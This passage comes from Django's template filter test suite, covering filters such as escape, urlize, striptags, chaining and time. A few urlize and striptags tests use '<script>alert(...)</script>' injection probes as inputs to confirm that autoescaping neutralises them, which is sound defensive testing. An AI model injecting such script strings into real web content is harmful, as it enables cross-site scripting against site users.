            wordwrap('this is a short paragraph of text.\n  But this line should be indented', 15),
            'this is a short\nparagraph of\ntext.\n  But this line\nshould be\nindented',
        )

    def test_non_string_input(self):
        self.assertEqual(wordwrap(123, 2), '123')

    def test_wrap_lazy_string(self):
        self.assertEqual(
            wordwrap(lazystr(
                'this is a long paragraph of text that really needs to be wrapped I\'m afraid'
            ), 14),
            'this is a long\nparagraph of\ntext that\nreally needs\nto be wrapped\nI\'m afraid',
        )






from django.template.defaultfilters import escape
from django.test import SimpleTestCase, ignore_warnings
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.functional import Promise, lazy
from django.utils.safestring import mark_safe

from ..utils import setup


class EscapeTests(SimpleTestCase):
    """
    The "escape" filter works the same whether autoescape is on or off,
    but it has no effect on strings already marked as safe.
    """

    @setup({'escape01': '{{ a|escape }} {{ b|escape }}'})
    def test_escape01(self):
        output = self.engine.render_to_string('escape01', {"a": "x&y", "b": mark_safe("x&y")})
        self.assertEqual(output, "x&amp;y x&y")

    @setup({'escape02': '{% autoescape off %}{{ a|escape }} {{ b|escape }}{% endautoescape %}'})
    def test_escape02(self):
        output = self.engine.render_to_string('escape02', {"a": "x&y", "b": mark_safe("x&y")})
        self.assertEqual(output, "x&amp;y x&y")

    # It is only applied once, regardless of the number of times it
    # appears in a chain (to be changed in Django 2.0).
    @ignore_warnings(category=RemovedInDjango20Warning)
    @setup({'escape03': '{% autoescape off %}{{ a|escape|escape }}{% endautoescape %}'})
    def test_escape03(self):
        output = self.engine.render_to_string('escape03', {"a": "x&y"})
        self.assertEqual(output, "x&amp;y")

    @ignore_warnings(category=RemovedInDjango20Warning)
    @setup({'escape04': '{{ a|escape|escape }}'})
    def test_escape04(self):
        output = self.engine.render_to_string('escape04', {"a": "x&y"})
        self.assertEqual(output, "x&amp;y")

    def test_escape_lazy_string(self):
        add_html = lazy(lambda string: string + 'special characters > here', six.text_type)
        escaped = escape(add_html('<some html & '))
        self.assertIsInstance(escaped, Promise)
        self.assertEqual(escaped, '&lt;some html &amp; special characters &gt; here')


class FunctionTests(SimpleTestCase):

    def test_non_string_input(self):
        self.assertEqual(escape(123), '123')






from django.template.defaultfilters import center
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class CenterTests(SimpleTestCase):

    @setup({'center01': '{% autoescape off %}.{{ a|center:"5" }}. .{{ b|center:"5" }}.{% endautoescape %}'})
    def test_center01(self):
        output = self.engine.render_to_string('center01', {"a": "a&b", "b": mark_safe("a&b")})
        self.assertEqual(output, ". a&b . . a&b .")

    @setup({'center02': '.{{ a|center:"5" }}. .{{ b|center:"5" }}.'})
    def test_center02(self):
        output = self.engine.render_to_string('center02', {"a": "a&b", "b": mark_safe("a&b")})
        self.assertEqual(output, ". a&amp;b . . a&b .")


class FunctionTests(SimpleTestCase):

    def test_center(self):
        self.assertEqual(center('test', 6), ' test ')

    def test_non_string_input(self):
        self.assertEqual(center(123, 5), ' 123 ')






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.template.defaultfilters import lower
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class LowerTests(SimpleTestCase):

    @setup({'lower01': '{% autoescape off %}{{ a|lower }} {{ b|lower }}{% endautoescape %}'})
    def test_lower01(self):
        output = self.engine.render_to_string('lower01', {"a": "Apple & banana", "b": mark_safe("Apple &amp; banana")})
        self.assertEqual(output, "apple & banana apple &amp; banana")

    @setup({'lower02': '{{ a|lower }} {{ b|lower }}'})
    def test_lower02(self):
        output = self.engine.render_to_string('lower02', {"a": "Apple & banana", "b": mark_safe("Apple &amp; banana")})
        self.assertEqual(output, "apple &amp; banana apple &amp; banana")


class FunctionTests(SimpleTestCase):

    def test_lower(self):
        self.assertEqual(lower('TEST'), 'test')

    def test_unicode(self):
        # uppercase E umlaut
        self.assertEqual(lower('\xcb'), '\xeb')

    def test_non_string_input(self):
        self.assertEqual(lower(123), '123')






from django.template.defaultfilters import get_digit
from django.test import SimpleTestCase


class FunctionTests(SimpleTestCase):

    def test_values(self):
        self.assertEqual(get_digit(123, 1), 3)
        self.assertEqual(get_digit(123, 2), 2)
        self.assertEqual(get_digit(123, 3), 1)
        self.assertEqual(get_digit(123, 4), 0)
        self.assertEqual(get_digit(123, 0), 123)

    def test_string(self):
        self.assertEqual(get_digit('xyz', 0), 'xyz')






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.template.defaultfilters import urlize
from django.test import SimpleTestCase
from django.utils import six
from django.utils.functional import lazy
from django.utils.safestring import mark_safe

from ..utils import setup


class UrlizeTests(SimpleTestCase):

    @setup({'urlize01': '{% autoescape off %}{{ a|urlize }} {{ b|urlize }}{% endautoescape %}'})
    def test_urlize01(self):
        output = self.engine.render_to_string(
            'urlize01',
            {'a': 'http://example.com/?x=&y=', 'b': mark_safe('http://example.com?x=&amp;y=&lt;2&gt;')},
        )
        self.assertEqual(
            output,
            '<a href="http://example.com/?x=&amp;y=" rel="nofollow">http://example.com/?x=&y=</a> '
            '<a href="http://example.com?x=&amp;y=%3C2%3E" rel="nofollow">http://example.com?x=&amp;y=&lt;2&gt;</a>'
        )

    @setup({'urlize02': '{{ a|urlize }} {{ b|urlize }}'})
    def test_urlize02(self):
        output = self.engine.render_to_string(
            'urlize02',
            {'a': "http://example.com/?x=&y=", 'b': mark_safe("http://example.com?x=&amp;y=")},
        )
        self.assertEqual(
            output,
            '<a href="http://example.com/?x=&amp;y=" rel="nofollow">http://example.com/?x=&amp;y=</a> '
            '<a href="http://example.com?x=&amp;y=" rel="nofollow">http://example.com?x=&amp;y=</a>'
        )

    @setup({'urlize03': '{% autoescape off %}{{ a|urlize }}{% endautoescape %}'})
    def test_urlize03(self):
        output = self.engine.render_to_string('urlize03', {'a': mark_safe("a &amp; b")})
        self.assertEqual(output, 'a &amp; b')

    @setup({'urlize04': '{{ a|urlize }}'})
    def test_urlize04(self):
        output = self.engine.render_to_string('urlize04', {'a': mark_safe("a &amp; b")})
        self.assertEqual(output, 'a &amp; b')

    # This will lead to a nonsense result, but at least it won't be
    # exploitable for XSS purposes when auto-escaping is on.
    @setup({'urlize05': '{% autoescape off %}{{ a|urlize }}{% endautoescape %}'})
    def test_urlize05(self):
        output = self.engine.render_to_string('urlize05', {'a': "<script>alert('foo')</script>"})
        self.assertEqual(output, "<script>alert('foo')</script>")

    @setup({'urlize06': '{{ a|urlize }}'})
    def test_urlize06(self):
        output = self.engine.render_to_string('urlize06', {'a': "<script>alert('foo')</script>"})
        self.assertEqual(output, '&lt;script&gt;alert(&#39;foo&#39;)&lt;/script&gt;')

    # mailto: testing for urlize
    @setup({'urlize07': '{{ a|urlize }}'})
    def test_urlize07(self):
        output = self.engine.render_to_string('urlize07', {'a': "Email me at me@example.com"})
        self.assertEqual(
            output,
            'Email me at <a href="mailto:me@example.com">me@example.com</a>',
        )

    @setup({'urlize08': '{{ a|urlize }}'})
    def test_urlize08(self):
        output = self.engine.render_to_string('urlize08', {'a': "Email me at <me@example.com>"})
        self.assertEqual(
            output,
            'Email me at &lt;<a href="mailto:me@example.com">me@example.com</a>&gt;',
        )

    @setup({'urlize09': '{% autoescape off %}{{ a|urlize }}{% endautoescape %}'})
    def test_urlize09(self):
        output = self.engine.render_to_string('urlize09', {'a': "http://example.com/?x=&amp;y=&lt;2&gt;"})
        self.assertEqual(
            output,
            '<a href="http://example.com/?x=&amp;y=%3C2%3E" rel="nofollow">http://example.com/?x=&amp;y=&lt;2&gt;</a>',
        )


class FunctionTests(SimpleTestCase):

    def test_urls(self):
        self.assertEqual(
            urlize('http://google.com'),
            '<a href="http://google.com" rel="nofollow">http://google.com</a>',
        )
        self.assertEqual(
            urlize('http://google.com/'),
            '<a href="http://google.com/" rel="nofollow">http://google.com/</a>',
        )
        self.assertEqual(
            urlize('www.google.com'),
            '<a href="http://www.google.com" rel="nofollow">www.google.com</a>',
        )
        self.assertEqual(
            urlize('djangoproject.org'),
            '<a href="http://djangoproject.org" rel="nofollow">djangoproject.org</a>',
        )
        self.assertEqual(
            urlize('djangoproject.org/'),
            '<a href="http://djangoproject.org/" rel="nofollow">djangoproject.org/</a>',
        )

    def test_url_split_chars(self):
        # Quotes (single and double) and angle brackets shouldn't be considered
        # part of URLs.
        self.assertEqual(
            urlize('www.server.com"abc'),
            '<a href="http://www.server.com" rel="nofollow">www.server.com</a>&quot;abc',
        )
        self.assertEqual(
            urlize('www.server.com\'abc'),
            '<a href="http://www.server.com" rel="nofollow">www.server.com</a>&#39;abc',
        )
        self.assertEqual(
            urlize('www.server.com<abc'),
            '<a href="http://www.server.com" rel="nofollow">www.server.com</a>&lt;abc',
        )
        self.assertEqual(
            urlize('www.server.com>abc'),
            '<a href="http://www.server.com" rel="nofollow">www.server.com</a>&gt;abc',
        )

    def test_email(self):
        self.assertEqual(
            urlize('info@djangoproject.org'),
            '<a href="mailto:info@djangoproject.org">info@djangoproject.org</a>',
        )

    def test_word_with_dot(self):
        self.assertEqual(urlize('some.organization'), 'some.organization'),

    def test_https(self):
        self.assertEqual(
            urlize('https://google.com'),
            '<a href="https://google.com" rel="nofollow">https://google.com</a>',
        )

    def test_quoting(self):
        """
        #9655 - Check urlize doesn't overquote already quoted urls. The
        teststring is the urlquoted version of 'http://hi.baidu.com/重新开始'
        """
        self.assertEqual(
            urlize('http://hi.baidu.com/%E9%87%8D%E6%96%B0%E5%BC%80%E5%A7%8B'),
            '<a href="http://hi.baidu.com/%E9%87%8D%E6%96%B0%E5%BC%80%E5%A7%8B" rel="nofollow">'
            'http://hi.baidu.com/%E9%87%8D%E6%96%B0%E5%BC%80%E5%A7%8B</a>',
        )

    def test_urlencoded(self):
        self.assertEqual(
            urlize('www.mystore.com/30%OffCoupons!'),
            '<a href="http://www.mystore.com/30%25OffCoupons" rel="nofollow">'
            'www.mystore.com/30%OffCoupons</a>!',
        )
        self.assertEqual(
            urlize('https://en.wikipedia.org/wiki/Caf%C3%A9'),
            '<a href="https://en.wikipedia.org/wiki/Caf%C3%A9" rel="nofollow">'
            'https://en.wikipedia.org/wiki/Caf%C3%A9</a>',
        )

    def test_unicode(self):
        self.assertEqual(
            urlize('https://en.wikipedia.org/wiki/Café'),
            '<a href="https://en.wikipedia.org/wiki/Caf%C3%A9" rel="nofollow">'
            'https://en.wikipedia.org/wiki/Café</a>',
        )

    def test_parenthesis(self):
        """
        #11911 - Check urlize keeps balanced parentheses
        """
        self.assertEqual(
            urlize('https://en.wikipedia.org/wiki/Django_(web_framework)'),
            '<a href="https://en.wikipedia.org/wiki/Django_(web_framework)" rel="nofollow">'
            'https://en.wikipedia.org/wiki/Django_(web_framework)</a>',
        )
        self.assertEqual(
            urlize('(see https://en.wikipedia.org/wiki/Django_(web_framework))'),
            '(see <a href="https://en.wikipedia.org/wiki/Django_(web_framework)" rel="nofollow">'
            'https://en.wikipedia.org/wiki/Django_(web_framework)</a>)',
        )

    def test_nofollow(self):
        """
        #12183 - Check urlize adds nofollow properly - see #12183
        """
        self.assertEqual(
            urlize('foo@bar.com or www.bar.com'),
            '<a href="mailto:foo@bar.com">foo@bar.com</a> or '
            '<a href="http://www.bar.com" rel="nofollow">www.bar.com</a>',
        )

    def test_idn(self):
        """
        #13704 - Check urlize handles IDN correctly
        """
        self.assertEqual(urlize('http://c✶.ws'), '<a href="http://xn--c-lgq.ws" rel="nofollow">http://c✶.ws</a>')
        self.assertEqual(urlize('www.c✶.ws'), '<a href="http://www.xn--c-lgq.ws" rel="nofollow">www.c✶.ws</a>')
        self.assertEqual(urlize('c✶.org'), '<a href="http://xn--c-lgq.org" rel="nofollow">c✶.org</a>')
        self.assertEqual(urlize('info@c✶.org'), '<a href="mailto:info@xn--c-lgq.org">info@c✶.org</a>')

    def test_malformed(self):
        """
        #16395 - Check urlize doesn't highlight malformed URIs
        """
        self.assertEqual(urlize('http:///www.google.com'), 'http:///www.google.com')
        self.assertEqual(urlize('http://.google.com'), 'http://.google.com')
        self.assertEqual(urlize('http://@foo.com'), 'http://@foo.com')

    def test_tlds(self):
        """
        #16656 - Check urlize accepts more TLDs
        """
        self.assertEqual(urlize('usa.gov'), '<a href="http://usa.gov" rel="nofollow">usa.gov</a>')

    def test_invalid_email(self):
        """
        #17592 - Check urlize don't crash on invalid email with dot-starting
        domain
        """
        self.assertEqual(urlize('email@.stream.ru'), 'email@.stream.ru')

    def test_uppercase(self):
        """
        #18071 - Check urlize accepts uppercased URL schemes
        """
        self.assertEqual(
            urlize('HTTPS://github.com/'),
            '<a href="https://github.com/" rel="nofollow">HTTPS://github.com/</a>',
        )

    def test_trailing_period(self):
        """
        #18644 - Check urlize trims trailing period when followed by parenthesis
        """
        self.assertEqual(
            urlize('(Go to http://www.example.com/foo.)'),
            '(Go to <a href="http://www.example.com/foo" rel="nofollow">http://www.example.com/foo</a>.)',
        )

    def test_trailing_multiple_punctuation(self):
        self.assertEqual(
            urlize('A test http://testing.com/example..'),
            'A test <a href="http://testing.com/example" rel="nofollow">http://testing.com/example</a>..'
        )
        self.assertEqual(
            urlize('A test http://testing.com/example!!'),
            'A test <a href="http://testing.com/example" rel="nofollow">http://testing.com/example</a>!!'
        )
        self.assertEqual(
            urlize('A test http://testing.com/example!!!'),
            'A test <a href="http://testing.com/example" rel="nofollow">http://testing.com/example</a>!!!'
        )
        self.assertEqual(
            urlize('A test http://testing.com/example.,:;)"!'),
            'A test <a href="http://testing.com/example" rel="nofollow">http://testing.com/example</a>.,:;)&quot;!'
        )

    def test_brackets(self):
        """
        #19070 - Check urlize handles brackets properly
        """
        self.assertEqual(
            urlize('[see www.example.com]'),
            '[see <a href="http://www.example.com" rel="nofollow">www.example.com</a>]',
        )
        self.assertEqual(
            urlize('see test[at[example.com'),
            'see <a href="http://test[at[example.com" rel="nofollow">test[at[example.com</a>',
        )
        self.assertEqual(
            urlize('[http://168.192.0.1](http://168.192.0.1)'),
            '[<a href="http://168.192.0.1](http://168.192.0.1)" rel="nofollow">'
            'http://168.192.0.1](http://168.192.0.1)</a>',
        )

    def test_ipv4(self):
        self.assertEqual(
            urlize('http://192.168.0.15/api/9'),
            '<a href="http://192.168.0.15/api/9" rel="nofollow">http://192.168.0.15/api/9</a>',
        )

    def test_ipv6(self):
        self.assertEqual(
            urlize('http://[2001:db8:cafe::2]/api/9'),
            '<a href="http://[2001:db8:cafe::2]/api/9" rel="nofollow">http://[2001:db8:cafe::2]/api/9</a>',
        )

    def test_quotation_marks(self):
        """
        #20364 - Check urlize correctly include quotation marks in links
        """
        self.assertEqual(
            urlize('before "hi@example.com" afterwards', autoescape=False),
            'before "<a href="mailto:hi@example.com">hi@example.com</a>" afterwards',
        )
        self.assertEqual(
            urlize('before hi@example.com" afterwards', autoescape=False),
            'before <a href="mailto:hi@example.com">hi@example.com</a>" afterwards',
        )
        self.assertEqual(
            urlize('before "hi@example.com afterwards', autoescape=False),
            'before "<a href="mailto:hi@example.com">hi@example.com</a> afterwards',
        )
        self.assertEqual(
            urlize('before \'hi@example.com\' afterwards', autoescape=False),
            'before \'<a href="mailto:hi@example.com">hi@example.com</a>\' afterwards',
        )
        self.assertEqual(
            urlize('before hi@example.com\' afterwards', autoescape=False),
            'before <a href="mailto:hi@example.com">hi@example.com</a>\' afterwards',
        )
        self.assertEqual(
            urlize('before \'hi@example.com afterwards', autoescape=False),
            'before \'<a href="mailto:hi@example.com">hi@example.com</a> afterwards',
        )

    def test_quote_commas(self):
        """
        #20364 - Check urlize copes with commas following URLs in quotes
        """
        self.assertEqual(
            urlize('Email us at "hi@example.com", or phone us at +xx.yy', autoescape=False),
            'Email us at "<a href="mailto:hi@example.com">hi@example.com</a>", or phone us at +xx.yy',
        )

    def test_exclamation_marks(self):
        """
        #23715 - Check urlize correctly handles exclamation marks after TLDs
        or query string
        """
        self.assertEqual(
            urlize('Go to djangoproject.com! and enjoy.'),
            'Go to <a href="http://djangoproject.com" rel="nofollow">djangoproject.com</a>! and enjoy.',
        )
        self.assertEqual(
            urlize('Search for google.com/?q=! and see.'),
            'Search for <a href="http://google.com/?q=" rel="nofollow">google.com/?q=</a>! and see.',
        )
        self.assertEqual(
            urlize('Search for google.com/?q=dj!`? and see.'),
            'Search for <a href="http://google.com/?q=dj%21%60%3F" rel="nofollow">google.com/?q=dj!`?</a> and see.',
        )
        self.assertEqual(
            urlize('Search for google.com/?q=dj!`?! and see.'),
            'Search for <a href="http://google.com/?q=dj%21%60%3F" rel="nofollow">google.com/?q=dj!`?</a>! and see.',
        )

    def test_non_string_input(self):
        self.assertEqual(urlize(123), '123')

    def test_autoescape(self):
        self.assertEqual(
            urlize('foo<a href=" google.com ">bar</a>buz'),
            'foo&lt;a href=&quot; <a href="http://google.com" rel="nofollow">google.com</a> &quot;&gt;bar&lt;/a&gt;buz'
        )

    def test_autoescape_off(self):
        self.assertEqual(
            urlize('foo<a href=" google.com ">bar</a>buz', autoescape=False),
            'foo<a href=" <a href="http://google.com" rel="nofollow">google.com</a> ">bar</a>buz',
        )

    def test_lazystring(self):
        prepend_www = lazy(lambda url: 'www.' + url, six.text_type)
        self.assertEqual(
            urlize(prepend_www('google.com')),
            '<a href="http://www.google.com" rel="nofollow">www.google.com</a>',
        )












from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class RandomTests(SimpleTestCase):

    @setup({'random01': '{{ a|random }} {{ b|random }}'})
    def test_random01(self):
        output = self.engine.render_to_string(
            'random01', {'a': ['a&b', 'a&b'], 'b': [mark_safe('a&b'), mark_safe('a&b')]}
        )
        self.assertEqual(output, 'a&amp;b a&b')

    @setup({'random02': '{% autoescape off %}{{ a|random }} {{ b|random }}{% endautoescape %}'})
    def test_random02(self):
        output = self.engine.render_to_string(
            'random02', {'a': ['a&b', 'a&b'], 'b': [mark_safe('a&b'), mark_safe('a&b')]}
        )
        self.assertEqual(output, 'a&b a&b')






import warnings

from django.test import SimpleTestCase, ignore_warnings
from django.test.utils import reset_warning_registry
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.safestring import mark_safe

from ..utils import setup


class ChainingTests(SimpleTestCase):
    """
    Chaining safeness-preserving filters should not alter the safe status.
    """

    @setup({'chaining01': '{{ a|capfirst|center:"7" }}.{{ b|capfirst|center:"7" }}'})
    def test_chaining01(self):
        output = self.engine.render_to_string('chaining01', {'a': 'a < b', 'b': mark_safe('a < b')})
        self.assertEqual(output, ' A &lt; b . A < b ')

    @setup({
        'chaining02':
        '{% autoescape off %}{{ a|capfirst|center:"7" }}.{{ b|capfirst|center:"7" }}{% endautoescape %}'
    })
    def test_chaining02(self):
        output = self.engine.render_to_string('chaining02', {'a': 'a < b', 'b': mark_safe('a < b')})
        self.assertEqual(output, ' A < b . A < b ')

    # Using a filter that forces a string back to unsafe:
    @setup({'chaining03': '{{ a|cut:"b"|capfirst }}.{{ b|cut:"b"|capfirst }}'})
    def test_chaining03(self):
        output = self.engine.render_to_string('chaining03', {'a': 'a < b', 'b': mark_safe('a < b')})
        self.assertEqual(output, 'A &lt; .A < ')

    @setup({
        'chaining04': '{% autoescape off %}{{ a|cut:"b"|capfirst }}.{{ b|cut:"b"|capfirst }}{% endautoescape %}'
    })
    def test_chaining04(self):
        output = self.engine.render_to_string('chaining04', {'a': 'a < b', 'b': mark_safe('a < b')})
        self.assertEqual(output, 'A < .A < ')

    # Using a filter that forces safeness does not lead to double-escaping
    @setup({'chaining05': '{{ a|escape|capfirst }}'})
    def test_chaining05(self):
        reset_warning_registry()
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')
            output = self.engine.render_to_string('chaining05', {'a': 'a < b'})
            self.assertEqual(output, 'A &lt; b')

        self.assertEqual(len(warns), 1)
        self.assertEqual(
            str(warns[0].message),
            "escape isn't the last filter in ['escape_filter', 'capfirst'] and "
            "will be applied immediately in Django 2.0 so the output may change."
        )

    @ignore_warnings(category=RemovedInDjango20Warning)
    @setup({'chaining06': '{% autoescape off %}{{ a|escape|capfirst }}{% endautoescape %}'})
    def test_chaining06(self):
        output = self.engine.render_to_string('chaining06', {'a': 'a < b'})
        self.assertEqual(output, 'A &lt; b')

    # Force to safe, then back (also showing why using force_escape too
    # early in a chain can lead to unexpected results).
    @setup({'chaining07': '{{ a|force_escape|cut:";" }}'})
    def test_chaining07(self):
        output = self.engine.render_to_string('chaining07', {'a': 'a < b'})
        self.assertEqual(output, 'a &amp;lt b')

    @setup({'chaining08': '{% autoescape off %}{{ a|force_escape|cut:";" }}{% endautoescape %}'})
    def test_chaining08(self):
        output = self.engine.render_to_string('chaining08', {'a': 'a < b'})
        self.assertEqual(output, 'a &lt b')

    @setup({'chaining09': '{{ a|cut:";"|force_escape }}'})
    def test_chaining09(self):
        output = self.engine.render_to_string('chaining09', {'a': 'a < b'})
        self.assertEqual(output, 'a &lt; b')

    @setup({'chaining10': '{% autoescape off %}{{ a|cut:";"|force_escape }}{% endautoescape %}'})
    def test_chaining10(self):
        output = self.engine.render_to_string('chaining10', {'a': 'a < b'})
        self.assertEqual(output, 'a &lt; b')

    @setup({'chaining11': '{{ a|cut:"b"|safe }}'})
    def test_chaining11(self):
        output = self.engine.render_to_string('chaining11', {'a': 'a < b'})
        self.assertEqual(output, 'a < ')

    @setup({'chaining12': '{% autoescape off %}{{ a|cut:"b"|safe }}{% endautoescape %}'})
    def test_chaining12(self):
        output = self.engine.render_to_string('chaining12', {'a': 'a < b'})
        self.assertEqual(output, 'a < ')

    @setup({'chaining13': '{{ a|safe|force_escape }}'})
    def test_chaining13(self):
        output = self.engine.render_to_string('chaining13', {"a": "a < b"})
        self.assertEqual(output, 'a &lt; b')

    @setup({'chaining14': '{% autoescape off %}{{ a|safe|force_escape }}{% endautoescape %}'})
    def test_chaining14(self):
        output = self.engine.render_to_string('chaining14', {"a": "a < b"})
        self.assertEqual(output, 'a &lt; b')






from django.template.defaultfilters import rjust
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class RjustTests(SimpleTestCase):

    @setup({'rjust01': '{% autoescape off %}.{{ a|rjust:"5" }}. .{{ b|rjust:"5" }}.{% endautoescape %}'})
    def test_rjust01(self):
        output = self.engine.render_to_string('rjust01', {"a": "a&b", "b": mark_safe("a&b")})
        self.assertEqual(output, ".  a&b. .  a&b.")

    @setup({'rjust02': '.{{ a|rjust:"5" }}. .{{ b|rjust:"5" }}.'})
    def test_rjust02(self):
        output = self.engine.render_to_string('rjust02', {"a": "a&b", "b": mark_safe("a&b")})
        self.assertEqual(output, ".  a&amp;b. .  a&b.")


class FunctionTests(SimpleTestCase):

    def test_rjust(self):
        self.assertEqual(rjust('test', 10), '      test')

    def test_less_than_string_length(self):
        self.assertEqual(rjust('test', 3), 'test')

    def test_non_string_input(self):
        self.assertEqual(rjust(123, 4), ' 123')






from django.template.defaultfilters import striptags
from django.test import SimpleTestCase
from django.utils.functional import lazystr
from django.utils.safestring import mark_safe

from ..utils import setup


class StriptagsTests(SimpleTestCase):

    @setup({'striptags01': '{{ a|striptags }} {{ b|striptags }}'})
    def test_striptags01(self):
        output = self.engine.render_to_string(
            'striptags01',
            {
                'a': '<a>x</a> <p><b>y</b></p>',
                'b': mark_safe('<a>x</a> <p><b>y</b></p>'),
            },
        )
        self.assertEqual(output, 'x y x y')

    @setup({'striptags02': '{% autoescape off %}{{ a|striptags }} {{ b|striptags }}{% endautoescape %}'})
    def test_striptags02(self):
        output = self.engine.render_to_string(
            'striptags02',
            {
                'a': '<a>x</a> <p><b>y</b></p>',
                'b': mark_safe('<a>x</a> <p><b>y</b></p>'),
            },
        )
        self.assertEqual(output, 'x y x y')


class FunctionTests(SimpleTestCase):

    def test_strip(self):
        self.assertEqual(
            striptags('some <b>html</b> with <script>alert("You smell")</script> disallowed <img /> tags'),
            'some html with alert("You smell") disallowed  tags',
        )

    def test_non_string_input(self):
        self.assertEqual(striptags(123), '123')

    def test_strip_lazy_string(self):
        self.assertEqual(
            striptags(lazystr('some <b>html</b> with <script>alert("Hello")</script> disallowed <img /> tags')),
            'some html with alert("Hello") disallowed  tags',
        )






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.template.defaultfilters import upper
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class UpperTests(SimpleTestCase):
    """
    The "upper" filter messes up entities (which are case-sensitive),
    so it's not safe for non-escaping purposes.
    """

    @setup({'upper01': '{% autoescape off %}{{ a|upper }} {{ b|upper }}{% endautoescape %}'})
    def test_upper01(self):
        output = self.engine.render_to_string('upper01', {'a': 'a & b', 'b': mark_safe('a &amp; b')})
        self.assertEqual(output, 'A & B A &AMP; B')

    @setup({'upper02': '{{ a|upper }} {{ b|upper }}'})
    def test_upper02(self):
        output = self.engine.render_to_string('upper02', {'a': 'a & b', 'b': mark_safe('a &amp; b')})
        self.assertEqual(output, 'A &amp; B A &amp;AMP; B')


class FunctionTests(SimpleTestCase):

    def test_upper(self):
        self.assertEqual(upper('Mixed case input'), 'MIXED CASE INPUT')

    def test_unicode(self):
        # lowercase e umlaut
        self.assertEqual(upper('\xeb'), '\xcb')

    def test_non_string_input(self):
        self.assertEqual(upper(123), '123')






from django.test import SimpleTestCase

from ..utils import setup


class SafeTests(SimpleTestCase):

    @setup({'safe01': '{{ a }} -- {{ a|safe }}'})
    def test_safe01(self):
        output = self.engine.render_to_string('safe01', {'a': '<b>hello</b>'})
        self.assertEqual(output, '&lt;b&gt;hello&lt;/b&gt; -- <b>hello</b>')

    @setup({'safe02': '{% autoescape off %}{{ a }} -- {{ a|safe }}{% endautoescape %}'})
    def test_safe02(self):
        output = self.engine.render_to_string('safe02', {'a': '<b>hello</b>'})
        self.assertEqual(output, '<b>hello</b> -- <b>hello</b>')






from django.test import SimpleTestCase

from ..utils import SafeClass, UnsafeClass, setup


class AutoescapeStringfilterTests(SimpleTestCase):
    """
    Filters decorated with stringfilter still respect is_safe.
    """

    @setup({'autoescape-stringfilter01': '{{ unsafe|capfirst }}'})
    def test_autoescape_stringfilter01(self):
        output = self.engine.render_to_string('autoescape-stringfilter01', {'unsafe': UnsafeClass()})
        self.assertEqual(output, 'You &amp; me')

    @setup({'autoescape-stringfilter02': '{% autoescape off %}{{ unsafe|capfirst }}{% endautoescape %}'})
    def test_autoescape_stringfilter02(self):
        output = self.engine.render_to_string('autoescape-stringfilter02', {'unsafe': UnsafeClass()})
        self.assertEqual(output, 'You & me')

    @setup({'autoescape-stringfilter03': '{{ safe|capfirst }}'})
    def test_autoescape_stringfilter03(self):
        output = self.engine.render_to_string('autoescape-stringfilter03', {'safe': SafeClass()})
        self.assertEqual(output, 'You &gt; me')

    @setup({'autoescape-stringfilter04': '{% autoescape off %}{{ safe|capfirst }}{% endautoescape %}'})
    def test_autoescape_stringfilter04(self):
        output = self.engine.render_to_string('autoescape-stringfilter04', {'safe': SafeClass()})
        self.assertEqual(output, 'You &gt; me')






from django.template.defaultfilters import capfirst
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class CapfirstTests(SimpleTestCase):

    @setup({'capfirst01': '{% autoescape off %}{{ a|capfirst }} {{ b|capfirst }}{% endautoescape %}'})
    def test_capfirst01(self):
        output = self.engine.render_to_string('capfirst01', {'a': 'fred>', 'b': mark_safe('fred&gt;')})
        self.assertEqual(output, 'Fred> Fred&gt;')

    @setup({'capfirst02': '{{ a|capfirst }} {{ b|capfirst }}'})
    def test_capfirst02(self):
        output = self.engine.render_to_string('capfirst02', {'a': 'fred>', 'b': mark_safe('fred&gt;')})
        self.assertEqual(output, 'Fred&gt; Fred&gt;')


class FunctionTests(SimpleTestCase):

    def test_capfirst(self):
        self.assertEqual(capfirst('hello world'), 'Hello world')






from datetime import time

from django.template.defaultfilters import time as time_filter
from django.test import SimpleTestCase, override_settings
from django.utils import timezone, translation

from ..utils import setup
from .timezone_utils import TimezoneTestCase


class TimeTests(TimezoneTestCase):
    """
    #20693: Timezone support for the time template filter
    """

    @setup({'time00': '{{ dt|time }}'})
    def test_time00(self):
        output = self.engine.render_to_string('time00', {'dt': time(16, 25)})
        self.assertEqual(output, '4:25 p.m.')

    @override_settings(USE_L10N=True)
    @setup({'time00_l10n': '{{ dt|time }}'})
    def test_time00_l10n(self):
        with translation.override('fr'):
            output = self.engine.render_to_string('time00_l10n', {'dt': time(16, 25)})
        self.assertEqual(output, '16:25')

    @setup({'time01': '{{ dt|time:"e:O:T:Z" }}'})
    def test_time01(self):
        output = self.engine.render_to_string('time01', {'dt': self.now_tz_i})
        self.assertEqual(output, '+0315:+0315:+0315:11700')

    @setup({'time02': '{{ dt|time:"e:T" }}'})
    def test_time02(self):
        output = self.engine.render_to_string('time02', {'dt': self.now})
        self.assertEqual(output, ':' + self.now_tz.tzinfo.tzname(self.now_tz))

    @setup({'time03': '{{ t|time:"P:e:O:T:Z" }}'})
    def test_time03(self):
        output = self.engine.render_to_string('time03', {'t': time(4, 0, tzinfo=timezone.get_fixed_timezone(30))})
        self.assertEqual(output, '4 a.m.::::')

    @setup({'time04': '{{ t|time:"P:e:O:T:Z" }}'})
    def test_time04(self):
        output = self.engine.render_to_string('time04', {'t': time(4, 0)})
        self.assertEqual(output, '4 a.m.::::')

    @setup({'time05': '{{ d|time:"P:e:O:T:Z" }}'})
    def test_time05(self):
        output = self.engine.render_to_string('time05', {'d': self.today})
        self.assertEqual(output, '')

    @setup({'time06': '{{ obj|time:"P:e:O:T:Z" }}'})
    def test_time06(self):
        output = self.engine.render_to_string('time06', {'obj': 'non-datetime-value'})
        self.assertEqual(output, '')


class FunctionTests(SimpleTestCase):

    def test_inputs(self):
        self.assertEqual(time_filter(time(13), 'h'), '01')
        self.assertEqual(time_filter(time(0), 'h'), '12')






from django.template.defaultfilters import urlizetrunc
from django.test import SimpleTestCase
